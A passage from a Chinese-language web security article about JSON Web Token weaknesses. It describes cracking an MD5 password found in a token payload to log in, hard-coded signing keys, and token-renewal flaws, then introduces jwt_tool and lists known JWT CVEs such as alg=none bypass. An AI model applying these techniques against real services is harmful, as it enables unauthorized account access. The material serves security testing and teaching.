        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="font-family:宋体;font-size:12.0pt;">在这里我们可以看到<span lang="EN-US">payload</span>部分的数据解密出来后包含<span lang="EN-US">password</span>字段信息,后面解出来的是一串<span lang="EN-US">MD5</span>数据,之后我们将其拿到<span lang="EN-US">MD5</span>在线解密网站进行解密操作:<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="font-family:宋体;font-size:12.0pt;">随后得到密码<span lang="EN-US">Password1</span>并使用其作为密码,使用<span lang="EN-US">joe</span>作为用户名进行登录操作:<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="font-family:宋体;font-size:12.0pt;">随后成功登录:<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">密钥硬编码类</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#777777;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">基本介绍</span></b><b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中的密钥是用于对令牌进行签名或加密的关键信息,在实现</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">时密钥通常存储在应用程序代码中即所谓的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">硬编码</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">"</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,这种做法可能会导致以下安全问题:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<ul style="margin-top:0cm;" type="disc">
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">密钥泄露:硬编码的密钥可以被攻击者轻松地发现和窃取,从而导致</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">令牌被篡改或解密,进而导致安全漏洞</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">密钥管理:硬编码的密钥难以进行集中管理,无法灵活地进行密钥轮换、密钥失效等操作,从而增加了密钥管理的难度</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">密钥复用:硬编码的密钥可能会被多个应用程序或服务共享使用,这可能会导致一个应用程序出现安全漏洞后,其他应用程序也会受到影响</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
</ul>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#777777;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">漏洞案例</span></b><b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">密钥硬编码:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:13.5pt;letter-spacing:.55pt;">会话续期</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:13.5pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">续期机制</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT(JSON Web Token)</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的续期机制是指在</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">过期之后通过一定的方式来更新</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">令牌,使其可以继续使用以减少用户需要频繁重新登录的情况,常见的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">续期机制包括:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<ul style="margin-top:0cm;" type="disc">
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">刷新令牌</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">(Refresh Token)</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:在用户登录时除了获取</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">令牌外还会获取一个刷新令牌,当</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">令牌过期时可以使用刷新令牌来获取新的</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">令牌,刷新令牌的有效期通常比</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">令牌长并且会在每次使用后更新有效期以确保安全性</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">延长有效期:在</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">令牌过期之前服务器可以根据某些条件来判断是否需要延长</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">令牌的有效期,例如</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">:</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">用户在活跃状态、令牌过期时间较短等,如果满足条件服务器将发送一个新的</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">令牌以替换原来的</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">令牌</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
        <li style="background:white;color:#333333;font-family:等线;font-size:10.5pt;line-height:19.5pt;margin:0cm;tab-stops:list 36.0pt;text-align:justify;text-justify:inter-ideograph;">
                <span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">自动续期:在使用</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">令牌时服务器可以检查</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT</span><span style="font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">令牌的有效期并在需要时自动为其续期,这通常需要与前端应用程序进行配合以确保用户可以无缝地使用应用程序,而不需要重新登录</span><span lang="EN-US" style="font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
        </li>
</ul>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">续期问题</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#777777;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">无限使用</span></b><b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">用户登录成功获取到一个</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT Token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT Token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">由包含算法信息的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">header</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和包含用户非敏感信息的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">body</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">以及对</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">header</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">body</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">数据签名后的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">sing</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">值拼接</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">base64</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">后生成,</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">body</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">中包含用户</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">失效时间戳</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">exp(</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">默认</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">1</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">小时</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">)</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、用户</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">id</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">标识</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">u</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;">JWT Token</span><span style="font-family:宋体;font-size:12.0pt;">有效期为<span lang="EN-US">1</span>小时<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="font-family:宋体;font-size:12.0pt;">但是在过期后发现使用之前过期的<span lang="EN-US">JWT Token</span>可以继续进行会话操作<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;">Token</span></b><b><span style="color:#777777;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">刷新缺陷</span></b><b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT Token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">在续期设计时由于代码编写错误将新老</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">更新逻辑设计错误,使得新</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">和老</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">一致,导致</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT </span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">续期失败</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p style="font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span style="font-family:宋体;font-size:12.0pt;">测试效果如下:<span lang="EN-US"></span></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;">N</span></b><b><span style="color:#777777;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">个新</span></b><b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;">Token</span></b><b><span style="color:#777777;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">生成</span></b><b><span lang="EN-US" style="color:#777777;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">功能测试时发现</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT Token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">首次生成时默认失效时</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">120</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">分钟,续期业务逻辑中仅在</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT Token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">的后</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">1/3</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">时间,也就是</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">80-120</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">分钟时进行续期操作,在此期间用户的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">会进行刷新操作,使用新的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">请求到服务器段,服务器端会返回一个新的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT Token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">到前端,供前端使用,但是在续期期间旧的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">可以无限制生成多个有效的</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">JWT Token</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">,存在一定程度上的被利用风险</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:15.0pt;letter-spacing:.55pt;">工具集合</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:15.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:13.5pt;letter-spacing:.55pt;">jwt_tool</span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">项目地址</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">https://github.com/ticarpi/jwt_tool</span>
</p>
<p align="center" style="font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:18.0pt;text-align:center;text-justify:inter-ideograph;">
        <span lang="EN-US" style="font-family:宋体;font-size:12.0pt;"></span>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;margin-bottom:12.0pt;margin-left:0cm;margin-right:0cm;margin-top:12.0pt;text-align:justify;text-justify:inter-ideograph;">
        <b><span style="color:#333333;font-family:宋体;font-size:12.0pt;letter-spacing:.55pt;">主要功能</span></b><b><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:12.0pt;letter-spacing:.55pt;"></span></b>
</p>
<p style="background:white;font-family:等线;font-size:10.5pt;margin:0cm;text-align:justify;text-justify:inter-ideograph;">
        <span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">1</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、检查令牌的有效性</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
2</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">、测试已知漏洞:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
CVE-2015-2951</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">alg=none</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">签名绕过漏洞</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
CVE-2016-10555</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">RS / HS256</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">公钥不匹配漏洞</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
CVE-2018-0114</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Key injection</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">漏洞</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
CVE-2019-20933 / CVE-2020-28637</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">:</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;">Blank password</span><span style="color:#333333;font-family:宋体;font-size:11.5pt;letter-spacing:.55pt;">漏洞</span><span lang="EN-US" style="color:#333333;font-family:Segoe UI,sans-serif;font-size:11.5pt;letter-spacing:.55pt;"><br />
